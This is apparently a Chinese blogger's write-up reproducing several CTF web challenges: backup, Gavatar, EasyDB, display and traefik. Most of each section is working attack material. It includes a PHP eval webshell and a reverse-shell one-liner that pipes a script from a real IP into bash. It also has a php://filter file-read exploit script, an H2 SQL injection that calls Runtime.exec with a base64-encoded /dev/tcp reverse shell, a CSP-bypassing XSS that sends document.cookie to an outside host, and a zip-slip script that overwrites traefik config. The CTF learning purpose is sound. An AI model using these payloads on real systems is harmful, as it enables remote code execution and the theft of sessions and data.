由于没能参加比赛,以下题目均为复现
1 scp -r C:\Users\baozhongqi\Desktop\N1\* root@IP:/opt/docker
backup 这道题没有Docker,所以我自己写一个,可能比较草率但是效果基本一致,不会差多少
日了,这个勾八一点都不好弄,我水平又比较低,但是我想到一个办法来达成浮现环境,就是利用虚拟机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 sudo mkdir -p /var/www/html/primary/sudo tee /var/www/html/primary/index.php <<EOF <?php \$cmd = \$_REQUEST["__2025.happy.new.year"]; eval(\$cmd); ?> EOF echo "flag{THIS_IS_YOUR_FLAG}" | sudo tee /flagsudo chmod 600 /flag sudo tee /backup.sh <<'EOF' cd /var/www/html/primarywhile :do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 15 done EOF sudo chmod +x /backup.shecho "@reboot root /backup.sh" | sudo tee -a /etc/crontabsudo systemctl restart cronsudo mkdir -p /var/www/html/backupsudo chown -R www-data:www-data /var/www/htmlsudo systemctl restart apache2
首先我们映入眼帘的肯定是一个eval,直接进行反弹shell
1 _[2025.happy.new.year=system("curl http://156.238.233.9/shell.sh|bash");
发现没有权限,并且看到一个backup.sh
1 2 3 4 5 6 7 8 #!/bin/bash cd /var/www/html/primarywhile :do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 15 done
我们来分析一下,-P
使得不能进行软连接,即使软链接也没用,因为我们权限是不够的,在网上找了一下cp命令进行提权,发现出来的都是suid
,果然官方文档才是最好用的
1 2 cp --help -H follow command-line symbolic links in SOURCE
这不是我们要的符号链接?既然他复制的是*
,那我们直接创建一个-H
的文件那么就多了这个参数,成功覆盖,
1 2 3 4 5 cd primary touch -- -H ln -s /flag Rflag ls -al cat /var/www/html/backup/Rflag
把环境给清理了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/bin/bash echo "[+] 删除漏洞文件" sudo rm -f /var/www/html/primary/index.phpsudo rm -rf /var/www/html/primaryecho "[+] 删除flag文件" sudo rm -f /flagecho "[+] 清理定时任务" sudo sed -i '/@reboot root \/backup.sh/d' /etc/crontabsudo systemctl restart cronecho "[+] 删除备份脚本和目录" sudo rm -f /backup.shsudo rm -rf /var/www/html/backupecho "[+] 终止正在运行的备份进程" sudo pkill -f '/backup.sh' echo "[+] 权限恢复(可选)" sudo chown -R root:root /var/www/html 2>/dev/nullecho "[!] 是否要卸载Apache和PHP? (y/N)" read -r choiceif [ "$choice " = "y" ] || [ "$choice " = "Y" ]; then sudo apt remove -y apache2 php sudo apt autoremove -y fi echo "[√] 清理完成!建议重启系统:sudo reboot"
Gavatar 在acvtar.php
里面发现了文件读取,其中路径为用户ID
还有一个重要文件就是upload.php
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php require_once 'common.php' ;$user = getCurrentUser ();if (!$user ) header ('Location: index.php' );$avatarDir = __DIR__ . '/avatars' ;if (!is_dir ($avatarDir )) mkdir ($avatarDir , 0755 );$avatarPath = "$avatarDir /{$user['id']} " ;if (!empty ($_FILES ['avatar' ]['tmp_name' ])) { $finfo = new finfo (FILEINFO_MIME_TYPE); if (!in_array ($finfo ->file ($_FILES ['avatar' ]['tmp_name' ]), ['image/jpeg' , 'image/png' , 'image/gif' ])) { die ('Invalid file type' ); } move_uploaded_file ($_FILES ['avatar' ]['tmp_name' ], $avatarPath ); } elseif (!empty ($_POST ['url' ])) { $image = @file_get_contents ($_POST ['url' ]); if ($image === false ) die ('Invalid URL' ); file_put_contents ($avatarPath , $image ); } header ('Location: profile.php' );
先随便上传一下可以看到,只要是满足文件类型的,就可以过,并且可以用url进行任意文件读取,
1 2 3 /upload.php avatar=acvtar.jpg&url=file:///etc/passwd
只要上传了一个文件,并且文件是存在的就可以进行文件读取,其中得到这三个包
但是读不了flag,典型的任意文件读取到RCE,其中比较难得,就是要把cookie带上,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def __init__ (self, url: str ) -> None : self .url = url self .session = Session() self .cookies = {'PHPSESSID' : '41e87c5ceb4b151de6cbdee2745748c6' } def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self .session.post(self .url + "/upload.php" , data={"avatar" : "acvtar.jpg" , "url" : path}, cookies=self .cookies) def send_response (self ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self .session.get(self .url + "/avatar.php?user=baozongwi" , cookies=self .cookies) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " response = self .send(path) response = self .send_response() data = response.re.search(b"(.*)" , flags=re.S).group(1 ) return base64.decode(data)
这是我改的初步的,后面发现怎么搞都会报错,后来仔细看代码原来是
必须要在elseif
里面才会触发,感冒头晕被绕了,😩,所以我们不要带acvtar
参数就可以成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def __init__ (self, url: str ) -> None : self .url = url self .session = Session() self .cookies = {'PHPSESSID' : '41e87c5ceb4b151de6cbdee2745748c6' } def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self .session.post(self .url + "/upload.php" , data={"url" : path}, cookies=self .cookies) def send_response (self ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self .session.get(self .url + "/avatar.php?user=baozongwi" , cookies=self .cookies) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " response = self .send(path) response = self .send_response() data = response.re.search(b"(.*)" , flags=re.S).group(1 ) return base64.decode(data)
直接执行命令
1 2 3 4 5 source py310/bin/activate python3 3.py http://ctf.baozongwi.xyz:10001/ "echo '<?php @eval(\$_POST[1]);?>' > p2.php" deactivate
302和200还是有区别的,虽然结果一样
EasyDB 开局一个登录框,看看这个jar包里面的代码,直接搜索路由/login
,然后发现包challenge
,里面基本都是关键代码,看看
调用函数检查用户名
直接拼接语句,ohshit,那注入整起
黑名单是这些,
使用的是h2
的数据库jdbc:h2:mem:testdb
使用的是内存模式,可以进行堆叠注入,利用反射和拼接绕过,拿到Runtime.exec
,h2
的数据库可以利用CREATE...CALL
来调用函数
1 username=admin';CREATE ALIAS test3 AS $$void jerry(String cmd) throws Exception{ String r="Run"+"time";Class<?> c = Class.forName("java.lang."+r);Object rt=c.getMethod("get"+r).invoke(null);c.getMethod("ex"+"ec",String.class).invoke(rt,cmd);}$$;CALL test3('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzI3LjI1LjE1MS40OC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}');--&password=admin
发现自己起Docker有问题,进去查一下
1 2 3 4 5 docker exec -it 88e30a916767 bash docker stop 5345a6e08073 && docker rm 5345a6e08073 docker rmi easydb-web docker compose up -d
发现根本就没有curl,弹shell的话只能用bash,常见的话,后面知道问题原来是java弹shell用base64,wu,原来这样,怪不得反序列化都写base64和计算器还有内存马
display 1 2 docker build -t display . docker run -d --name display_container -p 9999:3000 display
明天再打,好难受想睡觉了
来了,一看是个nodejs的应用,并且里面还有bot,就感觉是个xss了,从index.js
得到参数为text
,
可以看到会进行访问,但是他就是没过去,说明要绕过,回来看如何处理的这个text
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 document .addEventListener ("DOMContentLoaded" , function ( ) { const textInput = document .getElementById ('text-input' ); const insertButton = document .getElementById ('insert-btn' ); const contentDisplay = document .getElementById ('content-display' ); const queryText = getQueryParam ('text' ); if (queryText) { const sanitizedText = sanitizeContent (atob (decodeURI (queryText))); if (sanitizedText.length > 0 ) { textInput.innerHTML = sanitizedText; contentDisplay.innerHTML = textInput.innerText ; insertButton.disabled = false ; } else { textInput.innerText = "Only allow h1, h2 tags and plain text" ; } } });
其中第一行textInput.innerHTML = sanitizedText;
的调用会导致h1
,h2
标签仍然有效,而第二行contentDisplay.innerHTML = textInput.innerText;
由于是获取的纯文本就会导致,如果我们是使用的编码绕过也会被当成是纯文本,最后达到xss的效果
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
这东西我之前写博客页面的时候用过,一个监控博客是否存活的东西,UptimeRobot,没想到这里也是用的这个
1 ?text=JTNDSU1HJTIwU1JDPSUyMmphdmFzY3JpcHQuOmFsZXJ0KCdYU1MnKTslMjIlM0U=
发现成功了,那改一下payload绕过CSP就可以了
1 const csp = "script-src 'self'; object-src 'none'; base-uri 'none';" ;
这过滤太狠了,得找其他东西,我们还有一个路由没有用,还有404界面,网上找到文章404界面绕过CSP
1 2 3 app.use ((req, res ) => { res.status (200 ).type ('text/plain' ).send (`${decodeURI (req.path)} : invalid path` ); });
纯文本返回可以进行任意内容构造,有点脏字符,注释掉就好了
所以写出payload,iframe
结束标签可以省略
1 <iframe/srcdoc="<script/src='**/fetch(`http://156.238.233.9:9999/`+document.cookie)//'></script>">
1 2 3 4 5 6 7 8 9 10 11 12 POST /report HTTP/1.1 Host : ctf.baozongwi.xyz:9999Accept-Encoding : gzip, deflateOrigin : http://ctf.baozongwi.xyz:9999Accept-Language : zh-CN,zh;q=0.9,en;q=0.8User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36Accept : */*Content-Type : application/jsonReferer : http://ctf.baozongwi.xyz:9999/reportContent-Length : 43{"text ":"Jmx0O2lmcmFtZSZzb2w7c3JjZG9jJmVxdWFsczsmcXVvdDsmbHQ7c2NyaXB0JnNvbDtzcmMmZXF1YWxzOyZhcG9zOyZhc3Q7JmFzdDsmc29sO2ZldGNoJmxwYXI7JmdyYXZlO2h0dHAmY29sb247JnNvbDsmc29sOzE1NiZwZXJpb2Q7MjM4JnBlcmlvZDsyMzMmcGVyaW9kOzkmY29sb247OTk5OSZzb2w7JmdyYXZlOyZwbHVzO2RvY3VtZW50JnBlcmlvZDtjb29raWUmcnBhcjsmc29sOyZzb2w7JmFwb3M7Jmd0OyZsdDsmc29sO3NjcmlwdCZndDsmcXVvdDsmZ3Q7" }
traefik 1 2 docker build -t traefik . docker run -d --name traefik_container -p 10002:8080 traefik
就一个go文件,慢慢看
检测xff,然后就是上传解压了,以我的个人感觉,这里面肯定能覆盖
解压文件的时候进行文件遍历,并且目录也是自己定,可以达到覆盖的效果但是这里的路径极其重要,上传文件夹在这个位置
1 public/upload/6c20d681-a875-4dd6-abc0-331ca1c5f571
要想覆盖就要
1 ./../../.config/dynamic.yml
然后让人机写一个yml来覆盖,使用的是middlewares
来创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import zipfileimport requestsUPLOAD_URL = "http://ctf.baozongwi.xyz:8080/public/upload" FLAG_URL = "http://ctf.baozongwi.xyz:8080/flag" headers = { "X-Forwarded-For" : "127.0.0.1" } binary = '''# Dynamic configuration http: middlewares: set-x-forwarded-for: headers: customRequestHeaders: X-Forwarded-For: "127.0.0.1" services: proxy: loadBalancer: servers: - url: "http://127.0.0.1:8080" routers: index: rule: Path(`/public/index`) entrypoints: [web] service: proxy middlewares: - set-x-forwarded-for upload: rule: Path(`/public/upload`) entrypoints: [web] service: proxy middlewares: - set-x-forwarded-for flag: rule: Path(`/flag`) entrypoints: [web] service: proxy middlewares: - set-x-forwarded-for ''' zip_filename = "1.zip" with zipfile.ZipFile(zip_filename, "w" , zipfile.ZIP_DEFLATED) as zipf: zipf.writestr("./../../.config/dynamic.yml" , binary) print (f"[+] ZIP 文件 {zip_filename} 生成完成" )files = {"file" : (zip_filename, open (zip_filename, "rb" ), "application/zip" )} response = requests.post(UPLOAD_URL, files=files) if response.status_code == 200 : print ("[+] 文件上传成功,尝试访问 /flag 获取 FLAG..." ) flag_response = requests.get(FLAG_URL,headers=headers) print (flag_response.text) else : print (f"[-] 文件上传失败,状态码: {response.status_code} " ) print (response.text)
写出脚本了,但是发现个问题,始终拿不到flag,后面仔细一看
他是监听80端口的变化的,得把应用搞到80才能监听,才能实现覆盖,热加载
1 2 3 4 docker stop 52cb93740cf8 && docker rm 52cb93740cf8 docker build -t traefik . docker run -d --name traefik_container -p 8080:80 traefik docker exec -it 36b02c422cf1 sh
现在再来用脚本打一遍就拿到flag了
小结 很好的题目,我中途因为Docker问题也搞了不少时间,xss那道题非常有意思,代码少但是题目很好玩